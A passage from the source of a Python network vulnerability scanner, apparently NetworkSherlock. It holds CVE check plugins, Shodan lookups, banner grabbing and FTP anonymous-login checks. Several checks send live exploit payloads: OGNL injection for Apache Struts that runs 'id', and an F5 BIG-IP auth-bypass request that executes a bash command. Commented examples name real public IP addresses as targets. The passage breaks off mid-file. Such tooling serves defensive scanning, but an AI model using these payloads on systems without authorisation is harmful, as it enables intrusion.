\ 27 | "(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse()" \ 28 | ".getOutputStream()))." \ 29 | "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \ 30 | "(#ros.flush())}" 31 | 32 | try: 33 | response = requests.post(self.target_url, headers=headers, data=payload, timeout=10) 34 | if "Vulnerable" in response.text: 35 | print(f"{Fore.GREEN}[+]{Style.RESET_ALL} Vulnerable CVE-2017-5638 : {Fore.BLUE}https://www.exploit-db.com/exploits/41570{Style.RESET_ALL}") 36 | else: 37 | pass 38 | except Exception as e: 39 | pass 40 | 41 | """ 42 | # Örnek Kullanım 43 | struts_scanner = ApacheStrutsScanner("http://example.com") 44 | struts_scanner.scan_for_apache_struts() 45 | """ -------------------------------------------------------------------------------- /plugins/cveScanner/CVE_2018_11776_scanner.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | class StrutsScanner: 4 | def __init__(self, target, timeout=5): 5 | self.target = target 6 | self.timeout = timeout 7 | 8 | def check_vulnerability(self): 9 | payload = "%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23foo.read(new%20byte%5B9999%5D))%7D" 10 | headers = {"Content-Type": "application/x-www-form-urlencoded"} 11 | 12 | try: 13 | response = requests.post(self.target, data=payload, headers=headers, timeout=self.timeout) 14 | if "uid=" in response.text: 15 | return True # Vulnerable 16 | except Exception as e: 17 | pass 18 | return False # Not vulnerable or can't connect 19 | 20 | """ 21 | target = "http://localhost:8080/showcase.action" 22 | scanner = StrutsScanner(target) 23 | print(scanner.check_vulnerability()) 24 | """ -------------------------------------------------------------------------------- /plugins/cveScanner/CVE_2019_0708_scanner.py: -------------------------------------------------------------------------------- 1 | import socket 2 | from struct import pack 3 | from colorama import Fore, Style, init 4 | 5 | init(autoreset=True) 6 | 7 | 8 | class BlueKeepScanner: 9 | def __init__(self, ip_address, port=3389): 10 | self.ip_address = ip_address 11 | self.port = port 12 | 13 | def scan_for_bluekeep(self): 14 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: 15 | s.settimeout(3) 16 | try: 17 | s.connect((self.ip_address, self.port)) 18 | pkt = b'\x03\x00\x00\x13\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x03\x00\x00\x00' 19 | s.send(pkt) 20 | response = s.recv(1024) 21 | 22 | if response and b"\x03\x00\x00\x13\x0e\xd0" in response: 23 | print( 24 | f"{Fore.GREEN}[+]{Style.RESET_ALL} Vulnerable CVE-2019-0708 : {Fore.BLUE}https://www.exploit-db.com/exploits/47416{Style.RESET_ALL}") 25 | else: 26 | pass 27 | except Exception as e: 28 | pass 29 | 30 | """ 31 | # Örnek Kullanım 32 | bluekeep_scanner = BlueKeepScanner("43.143.173.245") 33 | bluekeep_scanner.scan_for_bluekeep() 34 | """ -------------------------------------------------------------------------------- /plugins/cveScanner/CVE_2020_0688_scanner.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from urllib3.exceptions import InsecureRequestWarning 3 | requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) 4 | 5 | class CVE20200688Tester: 6 | def __init__(self, target): 7 | self.target = target 8 | 9 | def check_vulnerability(self): 10 | url = f"https://{self.target}/ecp/default.aspx" 11 | headers = {"User-Agent": "Mozilla/5.0"} 12 | 13 | try: 14 | response = requests.get(url, headers=headers, verify=False, timeout=5) 15 | # __VIEWSTATEGENERATOR parametresinin varlığı kontrol edilir 16 | if "__VIEWSTATEGENERATOR" in response.text: 17 | return True # Potansiyel olarak savunmasız 18 | except requests.RequestException as e: 19 | pass 20 | return False # Erişilemez veya savunmasız değil 21 | 22 | 23 | """ 24 | if __name__ == "__main__": 25 | target = input("Hedef Exchange sunucusu (örn: exchange.example.com): ") 26 | tester = CVE20200688Tester(target) 27 | 28 | if tester.check_vulnerability(): 29 | print(f"{target} CVE-2020-0688 zafiyetine karşı savunmasız!") 30 | else: 31 | print(f"{target} CVE-2020-0688 zafiyetine karşı savunmasız değil veya erişilemez.") 32 | """ -------------------------------------------------------------------------------- /plugins/cveScanner/CVE_2020_0796_scanner.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import struct 3 | from colorama import Style,Fore,init 4 | 5 | init(autoreset=True) 6 | 7 | class SMBVulnerabilityChecker: 8 | def __init__(self, ip_address): 9 | self.ip_address = ip_address 10 | self.socket = None 11 | 12 | def connect(self): 13 | self.socket = socket.socket(socket.AF_INET) 14 | self.socket.settimeout(3) 15 | try: 16 | self.socket.connect((self.ip_address, 445)) 17 | return True 18 | except Exception as e: 19 | return False 20 | 21 | def send_packet(self): 22 | pkt = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00' 23 | self.socket.send(pkt) 24 | 25 | def check_vulnerability(self): 26 | try: 27 | response = self.socket.recv(4) 28 | if len(response) != 4: 29 | return False 30 | 31 | nb, = struct.unpack(">I", response) 32 | res = self.socket.recv(nb) 33 | 34 | if not res[68:70] == b"\x11\x03" or not res[70:72] == b"\x02\x00": 35 | return False 36 | else: 37 | print(f"{Fore.GREEN}[+]{Style.RESET_ALL} Vulnerable CVE-2020-0796 :{Fore.BLUE} https://www.exploit-db.com/exploits/48537{Style.RESET_ALL}") 38 | return True 39 | except Exception as e: 40 | return False 41 | 42 | def close(self): 43 | if self.socket: 44 | self.socket.close() 45 | 46 | """ 47 | if __name__ == "__main__": 48 | ip_address = input("Enter IP address: ") 49 | checker = SMBVulnerabilityChecker(ip_address) 50 | 51 | if checker.connect(): 52 | checker.send_packet() 53 | checker.check_vulnerability() 54 | 55 | checker.close() 56 | """ -------------------------------------------------------------------------------- /plugins/cveScanner/CVE_2020_1938_scanner.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | class GhostcatScanner: 4 | def __init__(self, target, port=8009, timeout=5): 5 | self.target = target 6 | self.port = port 7 | self.timeout = timeout 8 | 9 | def check_vulnerability(self): 10 | # Apache JServ Protocol (AJP) request packet for Ghostcat vulnerability 11 | ajp_request = bytearray([ 12 | 0x12, 0x34, 0x00, 0x08, 0x48, 0x54, 0x54, 0x50, 0x31, 0x2e, 0x31, 0x00, 0x0A, 0x00, 0x00, 0x00, 13 | 0x02, 0x00, 0x00, 0x00, 0x00, 0x00 14 | ]) 15 | 16 | try: 17 | with socket.create_connection((self.target, self.port), self.timeout) as sock: 18 | sock.sendall(ajp_request) 19 | response = sock.recv(1024) 20 | if response: 21 | return True # Vulnerable 22 | except Exception as e: 23 | pass 24 | return False 25 | 26 | """ 27 | target= "10.0.2.81" 28 | scanner = GhostcatScanner(target) 29 | print(scanner.check_vulnerability()) 30 | """ -------------------------------------------------------------------------------- /plugins/cveScanner/CVE_2022_1388_scanner.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | class CVE20221388Scanner: 4 | def __init__(self, target, timeout=5): 5 | self.target = target 6 | self.timeout = timeout 7 | 8 | def check_vulnerability(self): 9 | # CVE-2022-1388 zafiyetini test etmek için özel bir istek 10 | url = f"https://{self.target}/mgmt/tm/util/bash" 11 | headers = { 12 | "User-Agent": "Mozilla/5.0", 13 | "X-F5-Auth-Token": "anything", 14 | "Connection": "X-F5-Auth-Token", 15 | "Authorization": "Basic YWRtaW46QVNhc1M=" # Rastgele bir Base64 kodlanmış kullanıcı adı ve şifre 16 | } 17 | data = '{"command":"run","utilCmdArgs":"-c id"}' 18 | 19 | try: 20 | response = requests.post(url, headers=headers, data=data, verify=False, timeout=self.timeout) 21 | if response.status_code == 200 and "uid=" in response.text: 22 | return True # Savunmasız 23 | except requests.RequestException: 24 | pass 25 | return False # Erişilemez veya savunmasız değil 26 | -------------------------------------------------------------------------------- /plugins/cveScanner/CVE_2022_22784_scanner.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | class CVE202222784Scanner: 4 | def __init__(self, target, timeout=5): 5 | self.target = target 6 | self.timeout = timeout 7 | 8 | def check_vulnerability(self): 9 | # CVE-2022-22784 zafiyetini test etmek için özel bir istek 10 | url = f"http://{self.target}/cgi-bin/config.exp" # Zafiyetli URL 11 | headers = {"User-Agent": "Mozilla/5.0"} 12 | 13 | try: 14 | response = requests.get(url, headers=headers, timeout=self.timeout) 15 | if response.status_code == 200 and "sysconfig" in response.text: 16 | return True # Savunmasız 17 | except requests.RequestException: 18 | pass 19 | return False # Erişilemez veya savunmasız değil 20 | -------------------------------------------------------------------------------- /plugins/cveScanner/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HalilDeniz/NetworkSherlock/11cf630c43837312fcc8fb027583176909f54368/plugins/cveScanner/__init__.py -------------------------------------------------------------------------------- /plugins/main.py: -------------------------------------------------------------------------------- 1 | from plugins.cveScanner.CVE_2014_0160_scanner import HeartbleedScanner 2 | from plugins.cveScanner.CVE_2014_6271_scanner import ShellshockScanner 3 | from plugins.cveScanner.CVE_2017_0144_scanner import EternalBlueScanner 4 | from plugins.cveScanner.CVE_2017_5638_scanner import ApacheStrutsScanner 5 | from plugins.cveScanner.CVE_2018_11776_scanner import StrutsScanner 6 | from plugins.cveScanner.CVE_2019_0708_scanner import BlueKeepScanner 7 | from plugins.cveScanner.CVE_2020_0688_scanner import CVE20200688Tester 8 | from plugins.cveScanner.CVE_2020_0796_scanner import SMBVulnerabilityChecker 9 | from plugins.cveScanner.CVE_2020_1938_scanner import GhostcatScanner 10 | from plugins.cveScanner.CVE_2022_1388_scanner import CVE20221388Scanner 11 | from plugins.cveScanner.CVE_2022_22784_scanner import CVE202222784Scanner 12 | 13 | class CVE_Scanner_Main: 14 | def __init__(self, ip): 15 | self.ip = ip 16 | 17 | def run_all_scans(self, ports): 18 | results = {} 19 | 20 | http_url = f"http://{self.ip}" 21 | https_url = f"https://{self.ip}" 22 | try: 23 | if '443' in ports: 24 | heartbleed_scanner = HeartbleedScanner(https_url) 25 | results['Heartbleed'] = heartbleed_scanner.check_vulnerability() 26 | 27 | for port in ['80', '443']: 28 | url = https_url if port == '443' else http_url 29 | 30 | if port in ports: 31 | shellshock_scanner = ShellshockScanner(f"{url}/cgi-bin/test.cgi") 32 | results['Shellshock'] = shellshock_scanner.scan_for_shellshock() 33 | 34 | struts_scanner = ApacheStrutsScanner(f"{url}/showcase.action") 35 | results['ApacheStruts'] = struts_scanner.scan_for_apache_struts() 36 | 37 | 38 | struts2_scanner = StrutsScanner(url) 39 | results['CVE2018-11776'] = struts2_scanner.check_vulnerability() 40 | 41 | if port == '443': 42 | cve20200688_scanner = CVE20200688Tester(url) 43 | results['CVE-2020-0688'] = cve20200688_scanner.check_vulnerability() 44 | 45 | if '445' in ports: 46 | smbghost_scanner = SMBVulnerabilityChecker(self.ip) 47 | results['SMBGhost'] = smbghost_scanner.check_vulnerability() 48 | 49 | if '8009' in ports: 50 | ghostcat_scanner = GhostcatScanner(self.ip) 51 | results['Ghostcat'] = ghostcat_scanner.check_vulnerability() 52 | 53 | if '3389' in ports: 54 | bluekeep_scanner = BlueKeepScanner(self.ip) 55 | results['BlueKeep'] = bluekeep_scanner.scan_for_bluekeep() 56 | 57 | if '139' in ports or '445' in ports: 58 | eternalblue_scanner = EternalBlueScanner(self.ip) 59 | results['EternalBlue'] = eternalblue_scanner.scan_for_eternalblue() 60 | 61 | if '445' in ports: 62 | cve202222784_scanner = CVE202222784Scanner(self.ip) 63 | results['CVE-2022-22784'] = cve202222784_scanner.check_vulnerability() 64 | 65 | if '443' in ports: 66 | cve20221388_scanner = CVE20221388Scanner(self.ip) 67 | results['CVE-2022-1388'] = cve20221388_scanner.check_vulnerability() 68 | except: 69 | pass 70 | return results -------------------------------------------------------------------------------- /plugins/onlinescanner/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HalilDeniz/NetworkSherlock/11cf630c43837312fcc8fb027583176909f54368/plugins/onlinescanner/__init__.py -------------------------------------------------------------------------------- /plugins/onlinescanner/shodanscanner.py: -------------------------------------------------------------------------------- 1 | import shodan 2 | import configparser 3 | from colorama import Fore, Style 4 | 5 | class ShodanScanner: 6 | def __init__(self, config_file): 7 | self.config_file = config_file 8 | self.shodan_key = self.load_shodan_key() 9 | self.shodan_api = shodan.Shodan(self.shodan_key) if self.shodan_key else None 10 | 11 | def load_shodan_key(self): 12 | config = configparser.ConfigParser() 13 | config.read(self.config_file) 14 | return config.get('SHODAN', 'api_key', fallback=None) 15 | 16 | def perform_scan(self, ip): 17 | try: 18 | shodan_result = self.shodan_api.host(ip) 19 | return shodan_result 20 | except shodan.APIError as e: 21 | pass 22 | return None 23 | 24 | def format_shodan_info(self, shodan_result): 25 | shodan_info = "" 26 | if not shodan_result: 27 | return shodan_info 28 | 29 | # Extract and format relevant information from the Shodan result 30 | os_info = shodan_result.get('os', None) 31 | if os_info: 32 | shodan_info += f" \t{' ' * 5}{Fore.CYAN}- OS : {Style.RESET_ALL}{os_info}\n" 33 | 34 | asn_info = shodan_result.get('asn', 'Unknown ASN') 35 | org_info = shodan_result.get('org', 'Unknown Organization') 36 | shodan_info += f" \t{' ' * 5}{Fore.CYAN}- ASN : {Style.RESET_ALL}{asn_info}\n" 37 | shodan_info += f" \t{' ' * 5}{Fore.CYAN}- Org : {Style.RESET_ALL}{org_info}\n" 38 | 39 | domains = shodan_result.get('domains', []) 40 | if domains: 41 | domain_info = ', '.join(domains) 42 | shodan_info += f" \t{' ' * 5}{Fore.CYAN}- Domains : {Style.RESET_ALL}{domain_info}\n" 43 | 44 | for service_info in shodan_result.get('data', []): 45 | product = service_info.get('product') 46 | version = service_info.get('version') 47 | if product or version: 48 | shodan_info += f" \t{' ' * 5}{Fore.CYAN}- Service :{Style.RESET_ALL} {product or 'Unknown'} Version: {version or 'Unknown'}\n" 49 | 50 | geoloc_info = shodan_result.get('location', {}) 51 | if geoloc_info: 52 | city = geoloc_info.get('city', 'Unknown City') 53 | country = geoloc_info.get('country_name', 'Unknown Country') 54 | shodan_info += f" \t{' ' * 5}{Fore.CYAN}- Location :{Style.RESET_ALL} {city}, {country}\n" 55 | 56 | for item in shodan_result.get('data', []): 57 | if 'netbios' in item and 'name' in item['netbios']: 58 | netbios_name = item['netbios']['name'] 59 | shodan_info += f" \t{' ' * 5}{Fore.CYAN}- NetBIOS Name: {Style.RESET_ALL}{netbios_name}\n" 60 | 61 | hostnames = shodan_result.get('hostnames', []) 62 | if hostnames: 63 | hostname_info = ', '.join(hostnames) 64 | shodan_info += f" \t{' ' * 5}{Fore.CYAN}- Server Names: {Style.RESET_ALL}{hostname_info}\n" 65 | 66 | return shodan_info 67 | -------------------------------------------------------------------------------- /plugins/protocolscan/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HalilDeniz/NetworkSherlock/11cf630c43837312fcc8fb027583176909f54368/plugins/protocolscan/__init__.py -------------------------------------------------------------------------------- /plugins/protocolscan/bannerScanner.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | class BannerScanner: 4 | def __init__(self, ip, port): 5 | self.ip = ip 6 | self.port = port 7 | 8 | def banner_grabbing(self): 9 | try: 10 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 11 | sock.settimeout(1) 12 | sock.connect((self.ip, self.port)) 13 | if self.port == 80 or self.port == 443: 14 | sock.send(b"HEAD / HTTP/1.1\r\nHost: " + self.ip.encode() + b"\r\n\r\n") 15 | elif self.port == 21: 16 | sock.send(b"USER anonymous\r\n") 17 | elif self.port == 22: 18 | sock.send(b"SSH-2.0-OpenSSH_7.3\r\n") 19 | elif self.port == 25: 20 | sock.send(b"HELO " + self.ip.encode() + b"\r\n") 21 | elif self.port == 23: 22 | sock.send(b"\xFF\xFD\x18\xFF\xFD\x20\xFF\xFD\x23\xFF\xFD\x27\xFF\xFA\x1F\x00\x50\x00\x18\xFF\xF0") 23 | elif self.port == 3306: 24 | sock.send(b"\x05\x00\x00\x01\x85\xa6\x03\x00\x00\x00\x00\x21\x00\x00\x00\x02\x3f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") 25 | elif self.port == 139 or self.port == 445: 26 | sock.send(b"\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8\x17\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x2f\x4b\x00\x00\x00\x00\x00\x31\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00") 27 | elif self.port == 3389: 28 | sock.send(b"\x03\x00\x00\x13\x0E\xE0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x03\x00\x00\x00") 29 | banner = sock.recv(1024).decode("utf-8", errors="ignore").strip() 30 | return banner.split("\n")[0] 31 | except Exception as e: 32 | return "" 33 | -------------------------------------------------------------------------------- /plugins/protocolscan/databasesscanner.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | class DatabaseScanner: 4 | def __init__(self, target, port, timeout=5): 5 | self.target = target 6 | self.port = port 7 | self.timeout = timeout 8 | 9 | def scan_database(self): 10 | if self.port == 3306: # MySQL 11 | return self.scan_mysql() 12 | elif self.port == 5432: # PostgreSQL 13 | return self.scan_postgresql() 14 | else: 15 | return "Unknown Database Service" 16 | 17 | def scan_mysql(self): 18 | try: 19 | with socket.create_connection((self.target, self.port), timeout=self.timeout) as sock: 20 | greeting = sock.recv(1024) 21 | server_info = self.parse_mysql_greeting(greeting) 22 | 23 | if server_info.get("server_version"): 24 | return f"MySQL Server\n - Version: {server_info['server_version']}\n - Protocol Version: {server_info['protocol_version']}\n - Capabilities: {server_info['capabilities']}" 25 | else: 26 | return "MySQL greeting not received or parsed correctly" 27 | except Exception as e: 28 | return f"Failed to scan MySQL: {e}" 29 | 30 | def parse_mysql_greeting(self, data): 31 | try: 32 | data = data[4:] 33 | protocol_version = data[0] 34 | data = data[1:] 35 | version_end = data.find(b'\x00') 36 | server_version = data[:version_end].decode('utf-8', 'ignore') 37 | data = data[version_end + 1:] 38 | data = data[4 + 8 + 1:] 39 | capabilities = int.from_bytes(data[:2], byteorder='little') 40 | data = data[2:] 41 | return { 42 | "protocol_version": protocol_version, 43 | "server_version": server_version, 44 | "capabilities": capabilities} 45 | except Exception as e: 46 | return {"error": f"Error parsing greeting: {e}"} 47 | 48 | def scan_postgresql(self): 49 | try: 50 | with socket.create_connection((self.target, self.port), timeout=self.timeout) as sock: 51 | # Send a startup message 52 | startup_message = self.create_startup_message() 53 | sock.sendall(startup_message) 54 | 55 | response = sock.recv(1024) 56 | server_info = self.parse_postgresql_response(response) 57 | return server_info 58 | except Exception as e: 59 | return f"Failed to scan PostgreSQL: {e}" 60 | 61 | def create_startup_message(self): 62 | message = b"\x00\x03\x00\x00user\x00postgres\x00\x00" 63 | length = len(message) + 4 64 | return length.to_bytes(4, byteorder='big') + message 65 | 66 | def parse_postgresql_response(self, response): 67 | # PostgreSQL response parsing 68 | if response[0] == 0x52: # 'R' for authentication request 69 | auth_type = int.from_bytes(response[5:9], byteorder='big') 70 | auth_message = { 71 | 0: "Trust Authentication", 72 | 2: "Kerberos v5 Authentication", 73 | 3: "Password Authentication", 74 | 5: "MD5 Password Authentication", 75 | 6: "SCM Credential Authentication", 76 | 7: "GSSAPI Authentication", 77 | 9: "SSPI Authentication", 78 | 10: "SASL Authentication" 79 | }.get(auth_type, "Unknown Authentication") 80 | return f"PostgreSQL Server\n - Status: Authentication Requested\n - Auth Type: {auth_message}" 81 | elif response[0] == 0x45: # 'E' for error 82 | error_message = self.parse_error_message(response) 83 | return f"PostgreSQL Server\n - Status: Error Returned\n - Error: {error_message}" 84 | else: 85 | return "PostgreSQL Server\n - Status: Unknown Response" 86 | def parse_error_message(self, response): 87 | # Extract the error message details from the response 88 | response = response[5:] # Skip message type and length 89 | fields = response.split(b'\x00') 90 | error_fields = {field[0]: field[1:].decode('utf-8', 'ignore') for field in fields if field} 91 | return error_fields.get(b'M', "Unknown Error") 92 | 93 | while True: 94 | test = input(">>>> ") 95 | os_scanner = DatabaseScanner(test,3306) 96 | os_guess = os_scanner.scan_postgresql() 97 | print(f"Detected OS/Device Type: {os_guess}") 98 | -------------------------------------------------------------------------------- /plugins/protocolscan/ftpanonloginscanner.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | class FtpAnonLoginScanner: 4 | def __init__(self, target, port=21, timeout=5): 5 | self.target = target 6 | self.port = port 7 | self.timeout = timeout 8 | 9 | def check_anon_login(self): 10 | try: 11 | with socket.create_connection((self.target, self.port), timeout=self.timeout) as sock: 12 | sock.settimeout(self.timeout) 13 | response = self._recv_response(sock) 14 | if "220" in response: 15 | sock.sendall(b"USER anonymous\r\n") 16 | response = self._recv_response(sock) 17 | if "331" in response: # Şifre isteniyor mu kontrol et 18 | sock.sendall(b"PASS anonymous\r\n") 19 | response = self._recv_response(sock) 20 | if "230" in response: 21 | return True 22 | except socket.timeout: 23 | pass 24 | except socket.error as e: 25 | pass 26 | return False 27 | 28 | def _recv_response(self, sock): 29 | return sock.recv(4096).decode('utf-8', 'ignore').strip() 30 | 31 | 32 | 33 | """target_ip = "124.221.60.110" 34 | scanner = FtpAnonLoginScanner(target_ip) 35 | if scanner.check_anon_login(): 36 | print(f"[+] Anonymous FTP login possible at {target_ip}.") 37 | else: 38 | print(f"[+] Anonymous FTP login does not possible at {target_ip}.") 39 | """ -------------------------------------------------------------------------------- /plugins/protocolscan/osfingerscanner.py: -------------------------------------------------------------------------------- 1 | import ssl 2 | import socket 3 | from colorama import Style, init, Fore 4 | from cryptography import x509 5 | from cryptography.hazmat.backends import default_backend 6 | 7 | class OSFingerprintScanner: 8 | def __init__(self, target, timeout=3): 9 | self.target = target 10 | self.timeout = timeout 11 | 12 | def guess_os(self): 13 | common_ports = [ 14 | 21, # FTP 15 | 22, # SSH 16 | 23, # Telnet 17 | 25, # SMTP 18 | 80, # HTTP 19 | 110, # POP3 20 | 139, # smb 21 | 143, # IMAP 22 | 443, # HTTPS 23 | 445, # smb 24 | 3389, # RDP 25 | 8080, # HTTP alternative 26 | 8443 # HTTPS alternative 27 | ] 28 | for port in common_ports: 29 | try: 30 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: 31 | sock.settimeout(self.timeout) 32 | sock.connect((self.target, port)) 33 | request = self.prepare_request(port) 34 | sock.send(request) 35 | response = sock.recv(4096).decode('utf-8', 'ignore').strip() 36 | os_guess = self.parse_os_from_response(response) 37 | if os_guess != "Unknown": 38 | return os_guess 39 | except Exception as e: 40 | continue 41 | return "Unknown" 42 | 43 | def prepare_request(self, port): 44 | # Differentiate requests based on the port 45 | if port in [80, 8080]: # HTTP 46 | return b"HEAD / HTTP/1.1\r\nHost: " + self.target.encode() + b"\r\n\r\n" 47 | elif port in [443, 8443]: # HTTPS 48 | # Initiate a basic TLS handshake - this is a simplistic approach 49 | context = ssl.create_default_context() 50 | with socket.create_connection((self.target, port)) as sock: 51 | with context.wrap_socket(sock, server_hostname=self.target) as ssock: 52 | return ssock.version().encode() # Just get the TLS version as a basic example 53 | elif port == 22: # SSH 54 | return b"\r\n" # Banner grab for SSH 55 | elif port == 21: # FTP 56 | return b"HELP\r\n" # FTP HELP command for banner/info grab 57 | elif port == 25: # SMTP 58 | return b"EHLO " + self.target.encode() + b"\r\n" # EHLO command for SMTP 59 | elif port == 110: # POP3 60 | return b"USER test\r\n" # POP3 USER command for initial interaction 61 | elif port == 143: # IMAP 62 | return b"a1 LOGIN user pass\r\n" # IMAP LOGIN command for initial interaction 63 | elif port == 161: # SNMP 64 | return b"\x30\x26\x02\x01\x01\x04\x06\x70\x75\x62\x6c\x69\x63\xa0\x19\x02\x04\x67\x45\x23\x02\x02\x01\x00\x02\x01\x00\x30\x0e\x30\x0c\x06\x08\x2b\x06\x01\x02\x01\x01\x01\x00\x05\x00" # SNMP GET request 65 | elif port == 3389: # RDP 66 | return b"\x03\x00\x00\x13\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x03\x00\x00\x00" # RDP initial connection request 67 | elif port == 53: # DNS 68 | return b"\xaa\xaa\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x07\x65\x78\x61\x6d\x70\x6c\x65\x03\x63\x6f\x6d\x00\x00\x01\x00\x01" # DNS standard query 69 | else: 70 | return b"HEAD / HTTP/1.0\r\n\r\n" 71 | 72 | def parse_os_from_response(self, response): 73 | windows_keywords = ["Microsoft", "IIS", "Windows", "Win32", "Win64", "ASP.NET", "NT", "Outlook", "Exchange", "SMB"] 74 | unix_linux_keywords = ["Apache", "Debian", "Ubuntu", "Fedora", "Red Hat", "CentOS", "Unix", "Linux", "nginx", "OpenSSH","Postfix", "CUPS", "SUSE", "Gentoo", "Slackware"] 75 | cisco_keywords = ["Cisco", "IOS", "Catalyst", "ASA", "Nexus", "Meraki", "Aironet", "WebEx"] 76 | iot_keywords = ["IoT", "SmartHome", "Netcam", "ESP8266", "ESP32", "Arduino", "Raspberry Pi", "HomeKit", "Z-Wave", "Zigbee"] 77 | dell_server_keywords = ["Dell", "PowerEdge", "EqualLogic", "Compellent", "Force10", "EMC"] 78 | vmware_keywords = ["VMware", "ESXi", "vSphere", "Workstation", "Fusion", "Horizon"] 79 | apple_keywords = ["Mac OS", "MacOS", "Apple", "Darwin", "iMac", "MacBook", "AirPort", "Safari"] 80 | android_keywords = ["Android", "Google", "Pixel", "Nexus", "Galaxy", "HTC"] 81 | aws_keywords = ["Amazon", "AWS", "EC2", "Elastic Beanstalk", "S3"] 82 | azure_keywords = ["Azure", "Microsoft", "Windows Azure", "Azure DevOps", "Azure Active Directory"] 83 | google_cloud_keywords = ["Google Cloud", "GCP", "Google Compute Engine", "App Engine", "GKE"] 84 | cloudflare_keywords = ["Cloudflare", "CF-RAY", "cloudflare-nginx", "CF-Cache-Status"] 85 | 86 | if any(keyword in response for keyword in windows_keywords): 87 | return "Windows" 88 | elif any(keyword in response for keyword in unix_linux_keywords): 89 | return "Unix/Linux" 90 | elif any(keyword in response for keyword in cisco_keywords): 91 | return "Cisco Device" 92 | elif any(keyword in response for keyword in iot_keywords): 93 | return "IoT Device" 94 | elif any(keyword in response for keyword in dell_server_keywords): 95 | return "Dell Server" 96 | elif any(keyword in response for keyword in vmware_keywords): 97 | return "VMware Server" 98 | elif any(keyword in response for keyword in apple_keywords): 99 | return "Apple Device" 100 | elif any(keyword in response for keyword in android_keywords): 101 | return "Android Device" 102 | elif any(keyword in response for keyword in aws_keywords): 103 | return "AWS Cloud" 104 | elif any(keyword in response for keyword in azure_keywords): 105 | return "Azure Cloud" 106 | elif any(keyword in response for keyword in google_cloud_keywords): 107 | return "Google Cloud" 108 | elif any(keyword in response for keyword in cloudflare_keywords): 109 | return "Cloudflare Service" 110 | else: 111 | return "Unknown" 112 | 113 | """ 114 | while True: 115 | test = input(f"{Fore.BLUE}>>>> {Style.RESET_ALL}") 116 | os_scanner = OSFingerprintScanner(test) 117 | os_guess = os_scanner.guess_os() 118 | print(f"Detected OS/Device Type: {Fore.GREEN}{os_guess}{Style.RESET_ALL}") 119 | """ -------------------------------------------------------------------------------- /plugins/protocolscan/sllscanner.py: -------------------------------------------------------------------------------- 1 | import ssl 2 | import socket 3 | from datetime import datetime 4 | 5 | class TLSCertScanner: 6 | def __init__(self, target, port=443, timeout=5): 7 | self.target = target 8 | self.port = port 9 | self.timeout = timeout 10 | 11 | def get_certificate_details(self): 12 | context = ssl.create_default_context() 13 | try: 14 | with socket.create_connection((self.target, self.port), timeout=self.timeout) as sock: 15 | with context.wrap_socket(sock, server_hostname=self.target) as ssock: 16 | cert = ssock.getpeercert() 17 | return self.parse_certificate(cert) 18 | except socket.timeout: 19 | pass 20 | except ssl.SSLError as e: 21 | pass 22 | except socket.error as e: 23 | pass 24 | except Exception as e: 25 | pass 26 | return None 27 | 28 | def parse_certificate(self, cert): 29 | if not cert: 30 | return None 31 | 32 | # Sertifikanın 'subject' ve 'issuer' alanlarını ayrıştırma 33 | subject = dict(x[0] for x in cert['subject']) 34 | issuer = dict(x[0] for x in cert['issuer']) 35 